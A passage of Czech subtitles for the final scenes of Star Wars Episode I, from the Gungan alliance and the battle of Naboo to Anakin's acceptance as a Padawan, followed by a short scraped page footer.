zpátky to, co je naše. 1209 01:37:46,860 --> 01:37:49,070 Je nás málo, Výsosti. 1210 01:37:49,160 --> 01:37:51,030 Nemáme armádu. 1211 01:37:51,200 --> 01:37:52,530 Můžu vás jenom chránit. 1212 01:37:52,660 --> 01:37:54,700 Ne za vás vést válku. 1213 01:37:55,750 --> 01:37:56,790 Jar Jare Binksi. 1214 01:37:57,710 --> 01:37:59,880 Já, Váše Výsost? 1215 01:38:00,040 --> 01:38:02,960 Ano. Potřebuju tvou pomoc. 1216 01:38:08,180 --> 01:38:10,390 Mám na radaru bitevní loď. 1217 01:38:10,510 --> 01:38:12,550 Ta loď ovládá droidy. 1218 01:38:12,720 --> 01:38:14,890 Asi o nás vědí. 1219 01:38:15,020 --> 01:38:16,770 Nemáme moc času. 1220 01:38:28,490 --> 01:38:31,110 Jar Jar se vydal do města Gunganů, mistře. 1221 01:38:31,280 --> 01:38:32,530 Dobře. 1222 01:38:32,660 --> 01:38:34,870 Vyjde ten královnin plán? 1223 01:38:35,040 --> 01:38:36,660 Nebude snadné Gungany přemluvit. 1224 01:38:38,750 --> 01:38:41,080 A my jí našimi silami pomáhat nemůžeme. 1225 01:38:42,880 --> 01:38:46,000 Omlouvám se za své chování, mistře. 1226 01:38:46,050 --> 01:38:49,800 Neměl jsem si dovolit vám s tím chlapcem odporovat. 1227 01:38:51,760 --> 01:38:55,010 A jsem vděčný, že mě považujete za připraveného na zkoušky. 1228 01:38:56,180 --> 01:38:58,060 Byl jsi dobrý učedník, Obi-Wane. 1229 01:38:59,560 --> 01:39:02,190 A jsi mnohem moudřejší než já. 1230 01:39:02,900 --> 01:39:06,230 Předvídám, že z tebe bude velký rytíř Jedi. 1231 01:39:19,250 --> 01:39:21,620 Tam áni noha! 1232 01:39:21,750 --> 01:39:23,920 Město Gunganů je prázdné! 1233 01:39:24,080 --> 01:39:26,590 Asi ňáká bojování, já mýslela. 1234 01:39:26,710 --> 01:39:29,800 Myslíš, že je odvedli do táborů? 1235 01:39:29,970 --> 01:39:32,260 Spíš je zlikvidovali. 1236 01:39:32,380 --> 01:39:35,430 - Né, já némyslela. - Víš, kde jsou, Jar Jare? 1237 01:39:35,550 --> 01:39:38,970 Když probléma, Gungani jít na svaté místo. 1238 01:39:39,100 --> 01:39:41,980 Já vám ukázat. Šli se mnou. 1239 01:40:00,330 --> 01:40:03,920 Výsosti, královna Amidala z Naboo. 1240 01:40:10,630 --> 01:40:13,970 Nazdárek, šéfe Nassi, bláhorodí. 1241 01:40:14,760 --> 01:40:17,140 Jar Jare Binksi. 1242 01:40:17,680 --> 01:40:20,890 Kdó jsou to óni? 1243 01:40:21,480 --> 01:40:23,770 Jsem královna Amidala z Naboo. 1244 01:40:24,650 --> 01:40:27,020 Přicházím k vám v míru. 1245 01:40:27,150 --> 01:40:29,980 Ach, véliká Naboo. 1246 01:40:30,110 --> 01:40:33,280 Vy přivedli mechaňáky. 1247 01:40:33,450 --> 01:40:37,120 Vy všichni fůj. 1248 01:40:37,990 --> 01:40:40,830 Přišli jsme vás požádat o spojenectví. 1249 01:40:40,950 --> 01:40:42,330 Výsosti. 1250 01:40:44,500 --> 01:40:47,460 Kdó to být? 1251 01:40:47,580 --> 01:40:49,800 Já jsem královna Amidala. 1252 01:40:51,460 --> 01:40:53,050 To je má dvojnice... 1253 01:40:53,170 --> 01:40:56,800 má ochrana, má věrná strážkyně. 1254 01:40:56,930 --> 01:41:01,220 Omlouvám se za klam, ale bylo to nutné pro mé bezpečí. 1255 01:41:01,350 --> 01:41:03,890 I když se vždycky neshodneme, Výsosti... 1256 01:41:04,020 --> 01:41:06,560 naše veliké národy vždy žily v míru. 1257 01:41:08,360 --> 01:41:11,570 Obchodní federace zničila vše, co jsme tak těžce budovali. 1258 01:41:11,650 --> 01:41:14,900 Když si nepospíšíme, bude vše navždy ztraceno. 1259 01:41:15,030 --> 01:41:17,240 Žádám vás o pomoc. 1260 01:41:17,410 --> 01:41:20,080 Ne, prosím o pomoc. 1261 01:41:20,240 --> 01:41:22,580 Jsme vaši pokorní služebníci. 1262 01:41:25,830 --> 01:41:28,630 Náš osud je ve vašich rukou. 1263 01:41:45,850 --> 01:41:50,110 Vy nemýslet, že vy lépši než Gungani? 1264 01:41:52,570 --> 01:41:56,490 Tó se mi líbit! 1265 01:41:57,490 --> 01:41:58,410 Možná... 1266 01:41:58,570 --> 01:42:01,070 býsme... 1267 01:42:01,240 --> 01:42:03,080 skamarádit. 1268 01:42:11,750 --> 01:42:13,590 Vyslali jsme hlídky. 1269 01:42:13,710 --> 01:42:17,170 Našli jsme jejich loď v bažině. 1270 01:42:17,300 --> 01:42:19,470 Nebude to dlouho trvat, pane. 1271 01:42:19,590 --> 01:42:22,720 Tohle bych od ní nečekal. 1272 01:42:22,850 --> 01:42:24,850 Je to příliš agresivní. 1273 01:42:24,970 --> 01:42:27,390 Opatrně, lorde Maule. 1274 01:42:27,560 --> 01:42:30,060 Nechte je udělat první krok. 1275 01:42:30,190 --> 01:42:32,060 Ano, mistře. 1276 01:42:35,610 --> 01:42:37,280 Úž jsou tadý! 1277 01:42:37,440 --> 01:42:38,740 Dobře! 1278 01:42:42,370 --> 01:42:44,030 Už jsou tu! 1279 01:42:44,200 --> 01:42:45,540 Stihli to. 1280 01:42:50,170 --> 01:42:52,790 Ty zvládla dóbře. 1281 01:42:52,960 --> 01:42:56,050 Jar Jar skamarádit nás a Naboo. 1282 01:42:56,130 --> 01:42:58,010 Ále né. 1283 01:42:58,130 --> 01:43:01,090 My z tebe udělat... 1284 01:43:01,220 --> 01:43:03,720 velká generál. 1285 01:43:03,890 --> 01:43:05,260 Generál? 1286 01:43:08,350 --> 01:43:09,850 Kapitáne. 1287 01:43:09,940 --> 01:43:12,520 - Výsosti. - Jaká je situace? 1288 01:43:12,650 --> 01:43:14,570 Většina lidí je v táborech. 1289 01:43:14,650 --> 01:43:17,860 Pár set policistů a strážců přešlo do tajného odboje. 1290 01:43:17,990 --> 01:43:20,530 Přivedl jsem co nejvíc jejich vůdců. 1291 01:43:20,650 --> 01:43:23,530 Federální armáda je větší, než jsme mysleli... 1292 01:43:23,660 --> 01:43:25,370 a mnohem silnější. 1293 01:43:26,620 --> 01:43:29,710 Výsosti, tuhle bitvu asi nemůžeme vyhrát. 1294 01:43:29,830 --> 01:43:32,040 Bitva je jen zástěrka. 1295 01:43:32,250 --> 01:43:35,040 Gungani odlákají armádu droidů pryč od měst. 1296 01:43:35,170 --> 01:43:36,710 R2. 1297 01:43:37,880 --> 01:43:41,300 My se dostaneme do města tajným vchodem u vodopádu. 1298 01:43:41,430 --> 01:43:43,140 Až budeme u brány... 1299 01:43:43,260 --> 01:43:46,350 kapitán Panaka odvede jejich pozornost. 1300 01:43:46,430 --> 01:43:49,390 Pak vstoupíme do paláce a zajmeme místokrále. 1301 01:43:50,140 --> 01:43:52,940 Bez místokrále budou ztraceni. 1302 01:43:53,060 --> 01:43:54,730 Co tomu říkáte, mistře Jedi? 1303 01:43:54,860 --> 01:43:57,020 Místokrál bude hlídán. 1304 01:43:57,150 --> 01:43:59,650 Bude těžké proniknout do trůnního sálu. 1305 01:43:59,780 --> 01:44:02,070 Zbytek už se zvládne. 1306 01:44:02,200 --> 01:44:06,910 Při odvádění pozornosti může zahynout mnoho Gunganů. 1307 01:44:07,030 --> 01:44:10,330 Splníme svóu póvinnost. 1308 01:44:10,450 --> 01:44:13,580 Máme plán na zneškodnění armády droidů. 1309 01:44:13,710 --> 01:44:15,580 Pošleme všechny piloty... 1310 01:44:15,710 --> 01:44:18,750 zničit jejich řídící loď na oběžné dráze. 1311 01:44:18,920 --> 01:44:21,920 Dobrý plán. Je tu ale velké riziko. 1312 01:44:22,050 --> 01:44:25,140 Zbraně stíhaček nemusí proniknout jejich štíty. 1313 01:44:25,300 --> 01:44:26,930 A ještě větší riziko. 1314 01:44:27,050 --> 01:44:28,930 Když místokrál unikne, Výsosti... 1315 01:44:29,060 --> 01:44:31,310 vrátí se s novou armádou droidů. 1316 01:44:31,390 --> 01:44:34,600 A proto se nám musí podařit místokrále zadržet. 1317 01:44:34,730 --> 01:44:36,650 Závisí na tom všechno. 1318 01:44:41,990 --> 01:44:44,610 Je hloupější, než jsem myslel. 1319 01:44:44,740 --> 01:44:46,700 Posíláme všechny vojáky... 1320 01:44:46,820 --> 01:44:49,700 vstříc jejich armádě v bažinách. 1321 01:44:49,830 --> 01:44:52,450 Zdá se, že jsou to domorodci. 1322 01:44:52,580 --> 01:44:55,120 To nám pomůže. 1323 01:44:55,250 --> 01:44:58,040 Takže můžeme pokračovat, pane? 1324 01:44:58,840 --> 01:45:00,550 Zlikvidujte je. 1325 01:45:02,260 --> 01:45:04,130 Do jednoho. 1326 01:45:35,080 --> 01:45:36,460 Stát! 1327 01:45:39,920 --> 01:45:42,130 Spůstit štít. 1328 01:46:11,660 --> 01:46:12,870 Palte. 1329 01:46:28,970 --> 01:46:32,180 Až budeme uvnitř, někam se schovej a zůstaň tam. 1330 01:46:32,300 --> 01:46:34,220 - Jasně. - Zůstaň tam. 1331 01:46:50,240 --> 01:46:52,240 Rozkaz. 1332 01:47:00,290 --> 01:47:03,420 Myslel jsem, že se bojuje daleko odsud. 1333 01:47:04,500 --> 01:47:06,000 Tohle je moc blízko. 1334 01:47:11,970 --> 01:47:14,350 Ani, schovej se. 1335 01:47:14,470 --> 01:47:16,810 - Rychle! - Běžte k lodím! 1336 01:48:15,530 --> 01:48:16,660 Stíhačky před námi. 1337 01:48:16,780 --> 01:48:17,910 Rozumím, Bravo jedna. 1338 01:48:18,040 --> 01:48:19,240 Rozumím, Bravo jedna. 1339 01:48:27,960 --> 01:48:29,050 Zastavte palbu. 1340 01:48:36,550 --> 01:48:38,970 Pozór. 1341 01:49:12,090 --> 01:49:15,300 - Aktivujte droidy. - Ano, pane. 1342 01:49:31,820 --> 01:49:33,740 Bůde bólet. 1343 01:49:47,830 --> 01:49:48,920 Pal! 1344 01:50:11,190 --> 01:50:13,030 Místokrál je asi v trůnním sále. 1345 01:50:13,150 --> 01:50:14,610 Rudí! Modří! 1346 01:50:14,740 --> 01:50:16,530 Všichni za mnou! 1347 01:50:16,650 --> 01:50:18,700 Počkejte na mě! 1348 01:50:18,820 --> 01:50:21,200 Anakine, zůstaň tam. Jsi tam v bezpečí. 1349 01:50:21,370 --> 01:50:23,330 - Ale já-- - Zůstaň v kokpitu. 1350 01:50:35,510 --> 01:50:38,720 - Nechte to na nás. - Půjdeme oklikou. 1351 01:50:58,900 --> 01:51:00,820 Musíme něco udělat, R2. 1352 01:51:23,640 --> 01:51:26,680 Snažím se! Nevím, jak se střílí! 1353 01:51:30,100 --> 01:51:33,150 Takhle ne. Možná tady tímhle. 1354 01:51:34,150 --> 01:51:36,610 Ne. Moment. To je ono. 1355 01:51:38,820 --> 01:51:39,780 Jo! 1356 01:51:45,200 --> 01:51:46,660 Jdeme! 1357 01:51:47,740 --> 01:51:50,000 Je zapnutý autopilot. 1358 01:51:59,090 --> 01:52:00,970 Zkus ho vypnout. 1359 01:53:01,030 --> 01:53:02,950 Na to není čas, kapitáne. 1360 01:53:09,080 --> 01:53:10,910 Hele, tamhle jsou. 1361 01:53:11,040 --> 01:53:13,410 Tam nás vede ten autopilot. 1362 01:53:30,430 --> 01:53:33,060 Blbej droid. Chcípni! 1363 01:53:33,180 --> 01:53:35,100 Pusť mě! 1364 01:53:35,230 --> 01:53:36,400 Pusť! 1365 01:53:46,450 --> 01:53:48,820 Mají moc silný ochranný štít. 1366 01:53:58,170 --> 01:53:59,790 To je nářez! 1367 01:54:02,090 --> 01:54:04,090 R2, vypni autopilota. 1368 01:54:04,210 --> 01:54:06,090 Nebo bude po nás. 1369 01:54:07,800 --> 01:54:10,180 Dokázal jsi to, R2! 1370 01:54:10,300 --> 01:54:11,510 Teď doleva. 1371 01:54:16,730 --> 01:54:17,850 Vrátit se? 1372 01:54:17,980 --> 01:54:22,270 Qui-Gon řekl zůstat v kokpitu, tak tady zůstanu. 1373 01:54:29,160 --> 01:54:31,620 Zkusím vývrtku. To je bezva manévr. 1374 01:54:37,290 --> 01:54:39,830 Já vím, že se nám nedaří. Drž se. 1375 01:54:46,670 --> 01:54:47,670 Běžte! 1376 01:54:52,510 --> 01:54:54,220 Harpuny! 1377 01:57:00,390 --> 01:57:02,020 Ústup! 1378 01:57:03,810 --> 01:57:05,690 Tó bláznivost. 1379 01:57:15,570 --> 01:57:17,530 Bouchajdy. 1380 01:57:38,260 --> 01:57:40,680 Svézt mě! 1381 01:57:47,940 --> 01:57:49,520 Jar Jare, bouchajdu! 1382 01:57:49,650 --> 01:57:51,570 Có? Já nemít bouchajdu! 1383 01:57:51,690 --> 01:57:53,690 Tůhle, chytéj. 1384 01:58:10,130 --> 01:58:11,170 Jar Jare! 1385 01:58:11,300 --> 01:58:13,260 Skoč, Jar Jare! 1386 01:58:23,430 --> 01:58:26,230 Odložte zbraně. Tentokrát vyhráli. 1387 01:58:39,160 --> 01:58:41,330 Trefili nás, R2! 1388 01:58:54,510 --> 01:58:57,470 Snažím se zastavit! 1389 01:59:04,720 --> 01:59:06,230 Všechno je přehřáté. 1390 01:59:07,730 --> 01:59:09,690 Tohle nevypadá dobře. 1391 02:00:22,090 --> 02:00:24,300 Nevzdávala se, generále Jar Jar. 1392 02:00:24,430 --> 02:00:26,310 Já něco vymyslet. 1393 02:00:26,430 --> 02:00:27,810 Ruce vzhůru! 1394 02:00:27,930 --> 02:00:30,810 Já vzdávat. 1395 02:00:39,530 --> 02:00:42,650 Vaše malá vzpoura skončila, Výsosti. 1396 02:00:42,780 --> 02:00:44,660 Podepište smlouvu a skončete... 1397 02:00:44,780 --> 02:00:46,660 ty zbytečné diskuse v senátu. 1398 02:00:46,740 --> 02:00:48,540 Místokráli! 1399 02:00:48,660 --> 02:00:50,580 Vaše okupace skončila. 1400 02:00:52,210 --> 02:00:55,540 Chyťte ji. Tahle je falešná. 1401 02:01:02,130 --> 02:01:03,590 Kapitáne! 1402 02:01:12,850 --> 02:01:14,900 Zablokujte dveře. 1403 02:01:18,400 --> 02:01:21,240 Teď si promluvíme o nové smlouvě, místokráli. 1404 02:02:24,420 --> 02:02:26,930 Generátor naskočil. Zapnout štíty. 1405 02:02:30,220 --> 02:02:31,260 Tady máte! 1406 02:02:33,270 --> 02:02:34,350 A ještě! 1407 02:02:42,230 --> 02:02:43,980 - Chyba. - Ztrácíme výkon. 1408 02:02:44,110 --> 02:02:45,900 Něco je s reaktorem. 1409 02:02:46,070 --> 02:02:47,490 To není možné! 1410 02:02:47,570 --> 02:02:49,450 Naším štítem nic nepronikne. 1411 02:02:50,740 --> 02:02:52,530 Vypadneme odsud pryč. 1412 02:03:00,580 --> 02:03:03,250 Co to je? Vybuchuje to zevnitř! 1413 02:03:06,260 --> 02:03:07,840 To jsme nebyli my. 1414 02:03:10,930 --> 02:03:12,970 Tak tomu říkám závody. 1415 02:03:14,640 --> 02:03:16,310 Naše stíhačka, z hangáru! 1416 02:03:37,700 --> 02:03:39,210 Có to-- 1417 02:03:39,290 --> 02:03:41,500 Có oni dělát? 1418 02:03:41,630 --> 02:03:45,210 Řídící loď je kaput. Vidíš? 1419 02:03:46,960 --> 02:03:49,260 Všickí bumbác. 1420 02:04:37,720 --> 02:04:41,060 Už je pozdě. 1421 02:04:41,190 --> 02:04:43,480 - Ne. - Obi-Wane. 1422 02:04:44,770 --> 02:04:46,650 Slib mi-- 1423 02:04:46,770 --> 02:04:49,320 Slib mi, že toho chlapce vycvičíš. 1424 02:04:49,490 --> 02:04:50,990 Ano, mistře. 1425 02:04:55,070 --> 02:04:57,660 On je vyvolený. 1426 02:04:57,790 --> 02:05:01,000 Přinese rovnováhu. 1427 02:05:02,250 --> 02:05:03,620 Vycvič ho. 1428 02:05:31,150 --> 02:05:32,950 Místokráli... 1429 02:05:33,070 --> 02:05:36,490 teď musíte zpátky do senátu a všechno vysvětlit. 1430 02:05:38,280 --> 02:05:41,540 Myslím, že na obchodní koncesi můžete zapomenout. 1431 02:05:55,260 --> 02:05:58,800 Jsme ti vděční za odvahu, Obi-Wane Kenobi. 1432 02:05:58,930 --> 02:06:00,850 A tobě, mladý Skywalkere. 1433 02:06:01,640 --> 02:06:04,890 Tvůj osud budeme bedlivě sledovat. 1434 02:06:11,480 --> 02:06:13,990 Blahopřeji k vašemu zvolení, kancléři. 1435 02:06:14,110 --> 02:06:17,530 Vaše odvaha zachránila náš lid, Vaše Výsosti. 1436 02:06:17,660 --> 02:06:20,030 Vám bychom měli blahopřát. 1437 02:06:20,200 --> 02:06:24,080 Společně přineseme Republice mír a blahobyt. 1438 02:06:29,170 --> 02:06:33,550 Staniž se. Titul rytíře Jedi tobě rada udílí. 1439 02:06:33,670 --> 02:06:38,390 Ale dovolit ti vzít toho chlapce za učedníka Padawana... 1440 02:06:38,510 --> 02:06:40,390 já nemohu. 1441 02:06:40,510 --> 02:06:42,600 Qui-Gon v něj věřil. 1442 02:06:45,520 --> 02:06:48,190 Vyvoleným ten chlapec být může. 1443 02:06:48,310 --> 02:06:49,940 Nicméně... 1444 02:06:50,060 --> 02:06:52,940 velkého nebezpečí se obávám v jeho výcviku. 1445 02:06:53,070 --> 02:06:57,200 Mistře Yodo, dal jsem Qui-Gonovi své slovo. 1446 02:06:57,360 --> 02:06:59,240 Vycvičím Anakina. 1447 02:07:01,530 --> 02:07:03,830 I bez svolení rady, když to nepůjde jinak. 1448 02:07:03,950 --> 02:07:06,410 Cítím v tobě Qui-Gonovu zpupnost. 1449 02:07:06,540 --> 02:07:08,460 To zapotřebí není. 1450 02:07:10,710 --> 02:07:14,000 Rada rozhodla se ti vyhověti. 1451 02:07:15,090 --> 02:07:18,380 Tvým učedníkem mladý Skywalker bude. 1452 02:07:46,250 --> 02:07:47,960 Co se mnou teď bude? 1453 02:07:48,120 --> 02:07:51,130 Rada mi povolila tě vycvičit. 1454 02:07:51,250 --> 02:07:54,670 Bude z tebe Jedi, slibuju. 1455 02:08:04,100 --> 02:08:07,470 Není pochyb, že ten tajemný bojovník byl Sith. 1456 02:08:07,640 --> 02:08:10,060 Vždy dva existují. 1457 02:08:10,190 --> 02:08:13,400 Ani více, ani méně. 1458 02:08:13,560 --> 02:08:16,480 Mistr a učedník. 1459 02:08:16,570 --> 02:08:18,110 Ale kdo z nich byl zničen? 1460 02:08:18,240 --> 02:08:21,200 Mistr nebo učedník? 1461 02:08:45,850 --> 02:08:47,890 Nazdárek vespolek! 1462 02:09:34,560 --> 02:09:36,440 Mír!
Fighter Anas Private Shell V.1 -
Royal
Battler BD
Copyright © Fighter Anas